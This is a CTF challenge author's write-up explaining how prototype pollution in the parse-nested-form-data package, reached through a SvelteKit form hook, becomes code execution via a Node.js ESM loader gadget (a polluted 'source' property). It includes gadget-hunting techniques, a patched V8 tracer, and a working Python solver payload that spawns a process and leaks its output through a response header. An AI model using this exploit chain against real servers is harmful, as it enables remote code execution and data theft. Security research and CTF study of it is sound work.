A challenge I authored for SekaiCTF 2025 that only ended up getting solved by 1 team.
Challenge setup
A bare SvelteKit app running in vite preview mode on Node.js 24. The only interesting piece is the server hook:
// src/hooks.server.js
import { form_data } from 'sk-form-data'
export const handle = form_data
sk-form-data is a thin SvelteKit hook that parses application/x-www-form-urlencoded POST bodies and attaches the result to event.locals (index.ts:16):
// sk-form-data/index.ts
import { parseFormData } from "parse-nested-form-data";
export const form_data: Handle = async ({ event, resolve }) => {
const is_action =
event.request.headers.get("content-type") === "application/x-www-form-urlencoded";
if (event.request.method === "POST" && is_action) {
const request_2 = event.request.clone();
const form_data = await request_2.formData();
const data = parseFormData(form_data); // <--
event.locals.form_data = data;
}
return resolve(event);
};
The flag is an execute-only file at /flag, the goal is code execution.
Prototype pollution in parse-nested-form-data
parseFormData supports dot-notation for nested keys. Sending __proto__.source as a form field name walks up to Object.prototype and sets source on it. There is no sanitization for __proto__ segments.1
The actual sink is inside handlePathPart. For the object case it returns a raw getter/setter pair against currentObject[pathPart.path] with no key blocklist:
// parse-nested-form-data/src/index.ts:340-344
const currentObject = currentPathObject
return [
currentObject[pathPart.path], // reads __proto__ -> Object.prototype
val => (currentObject[pathPart.path] = val),
]
We now have a confirmed prototype pollution. This is where things get interesting. How to turn it into RCE?
Finding the gadget
There are two ways to approach this challenge from here: static analysis (time consuming, in particular because the codebase is large and in this case uses a novel Node.js internal gadget), or (the approach I took) dynamic analysis.
I will explain both, starting with the static approach.
Static analysis
The resolve(event) call causes SvelteKit to dynamically import the route module for the requested path. For a path like /a that has no corresponding route file, SvelteKit falls through to respond_with_error, which calls manifest._.nodes[0]() to load the root layout. Each manifest._.nodes[n] ends up with a dynamic import generated at build time as __memo(() => import('./nodes/N.js')).
The import ends up calling defaultLoad (lib/internal/modules/esm/load.js):
// lib/internal/modules/esm/load.js
83 async function defaultLoad(url, context = kEmptyObject) {
84 let responseURL = url;
85 let {
86 importAttributes,
87 format,
88 source,
89 } = context;
// ...
111 } else if (format !== 'commonjs') {
112 if (source == null) {
113 ({ responseURL, source } = await getSource(urlInstance, context));
114 context = { __proto__: context, source };
115 }
117 if (format == null) {
119 format = await defaultGetFormat(urlInstance, context);
121 if (format === 'commonjs') {
124 source = null;
125 }
126 }
127 }
// ...
131 return { __proto__: null, format, responseURL, source };
137 }
The destructure at L85-89 does a plain property read on context (a regular object with Object.prototype on its chain). If Object.prototype.source is polluted, the destructure puts the polluted value into the source variable.
The guard at L112 is the actual bypass: getSource (which reads the file from disk) is only called when source == null. A polluted non-null source skips the file read entirely.
The returned source flows into the format-specific translator in translators.js. For format: 'module' that’s moduleStrategy:
// lib/internal/modules/esm/translators.js
101 translators.set('module', function moduleStrategy(url, source, isMain) {
102 assertBufferSource(source, true, 'load');
103 source = stringify(source);
105 const { compileSourceTextModule } = require('internal/modules/esm/utils');
106 const module = compileSourceTextModule(url, source, this);
107 return module;
108 });
compileSourceTextModule constructs a ModuleWrap directly from the attacker-controlled string, which V8 compiles and executes.
Dynamic analysis
The naive way to log “every property access that walks the prototype chain” is to instrument every LoadIC site in V8.
However, you have to filter out tons of internal accesses on builtins. There is a much cleaner trick: use the language itself.
The idea is to install a single Proxy on Object.prototype that logs every property read that falls through the entire prototype chain.
The problem: Object.prototype.__proto__ is null and V8 freezes the prototype map with is_immutable_proto for security reasons. We can use a patched V8 build that unfreezes the prototype map to bypass this restriction:
--- a/deps/v8/src/init/bootstrapper.cc
+++ b/deps/v8/src/init/bootstrapper.cc
@@ -916,7 +916,7 @@ void Genesis::CreateObjectFunction(Handle<JSFunction> empty_function) {
"EmptyObjectPrototype");
map->set_is_prototype_map(true);
// Ban re-setting Object.prototype.__proto__ to prevent Proxy security bug
- map->set_is_immutable_proto(true);
+ map->set_is_immutable_proto(false);
object_function_prototype->set_map(*map);
}
Then, running the following code using the patched Node.js logs every prototype-chain property access:
// proto-trace.js, run with: node --require ./proto-trace.js app.js
const seen = new Set();
Object.setPrototypeOf(Object.prototype, new Proxy(Object.create(null), {
get(_t, prop) {
if (typeof prop === 'string' && !seen.has(prop)) {
seen.add(prop);
process._rawDebug('proto-miss:', prop);
}
return undefined;
},
}));
Output if we execute await import("fs");
proto-miss: set
proto-miss: source <- our gadget
proto-miss: WATCH_REPORT_DEPENDENCIES
proto-miss: has
proto-miss: write
proto-miss: cork
proto-miss: uncork
proto-miss: setDefaultEncoding
proto-miss: _write
proto-miss: _writev
proto-miss: end
...
Most of these are noise: engine internals (then from await, Symbol.toPrimitive from coercions).
We can further improve the proxy by also highlighting the exact callsite where the property is read to filter out noise.
The nice property of this approach is that it shows only the actual properties that are read off the prototype chain, with no false positives that static analysis would suffer from.
Solve
The solver sends a single GET request that triggers the pollution.
It sets the Object.prototype.flag property, because Vite’s server iterates over the headers object with a for...in when building the HTTP response, which picks up inherited properties from the prototype chain.
import requests, base64
base_url = "http://localhost:1337"
resp = requests.post(
f"{base_url}/a",
data={
"__proto__.source": """
Object.prototype.flag = btoa(
process.binding('spawn_sync').spawn({
file: '/flag',
args: ['/flag'],
stdio: [
{type:'pipe', readable:true, writable:false},
{type:'pipe', readable:false, writable:true},
{type:'pipe', readable:false, writable:true}
]
}).output.toString()
)
""",
},
headers={"Origin": base_url},
)
print(base64.b64decode(resp.headers['flag']).decode())